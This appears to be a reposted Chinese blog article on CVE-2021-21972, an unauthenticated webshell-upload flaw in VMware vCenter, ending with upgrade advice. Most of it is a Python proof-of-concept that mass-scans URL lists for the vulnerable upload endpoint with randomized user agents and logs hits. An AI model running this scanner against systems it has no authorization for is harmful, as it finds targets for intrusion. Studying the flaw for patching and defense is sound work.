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背景CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。 影响版本vmware:esxi:7.0/6.7/6.5 漏洞复现 fofa查询语法: POC
使用 #-*- coding:utf-8 -*- banner = """ 888888ba dP 88 `8b 88 a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 88 `8b. 88' `88 88 Y8ooooo. 88 88 88 .88 88. .88 88 88 88. .88 88888888P `88888P8 dP `88888P' `88888P' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/02/24 CVE-2021-21972.py C0de by NebulabdSec - @batsu """ print(banner) import threadpool import random import requests import argparse import http.client import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' TARGET_URI = "/ui/vropspluginui/rest/services/uploadova" def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return ua def CVE_2021_21972(url): proxies = {"scoks5": "http://127.0.0.1:1081"} headers = { 'User-Agent': get_ua(), "Content-Type": "application/x-www-form-urlencoded" } targetUrl = url + TARGET_URI try: res = requests.get(targetUrl, headers=headers, timeout=15, verify=False, proxies=proxies) # proxies={'socks5': 'http://127.0.0.1:1081'}) # print(len(res.text)) if res.status_code == 405: print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url)) # print("[+] Command success result: " + res.text + "\n") with open("存在漏洞地址.txt", 'a') as fw: fw.write(url + '\n') else: print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n") # except Exception as e: # print(e) except: print("[-] " + url + " Request ERROR.\n") def multithreading(filename, pools=5): works = [] with open(filename, "r") as f: for i in f: func_params = [i.rstrip("\n")] # func_params = [i] + [cmd] works.append((func_params, None)) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(CVE_2021_21972, works) [pool.putRequest(req) for req in reqs] pool.wait() def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") parser.add_argument("-f", "--file", help="Url File; Example:url.txt") # parser.add_argument("-c", "--cmd", help="Commands to be executed; ") args = parser.parse_args() url = args.url # cmd = args.cmd file_path = args.file if url != None and file_path ==None: CVE_2021_21972(url) elif url == None and file_path != None: multithreading(file_path, 10) # 默认15线程 if __name__ == "__main__": main() EXP 修复建议vCenter Server7.0版本升级到7.0.U1c 到此这篇关于关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题的文章就介绍到这了,更多相关Vmware vcenter上传漏洞内容请搜索极客世界以前的文章或继续浏览下面的相关文章希望大家以后多多支持极客世界! |
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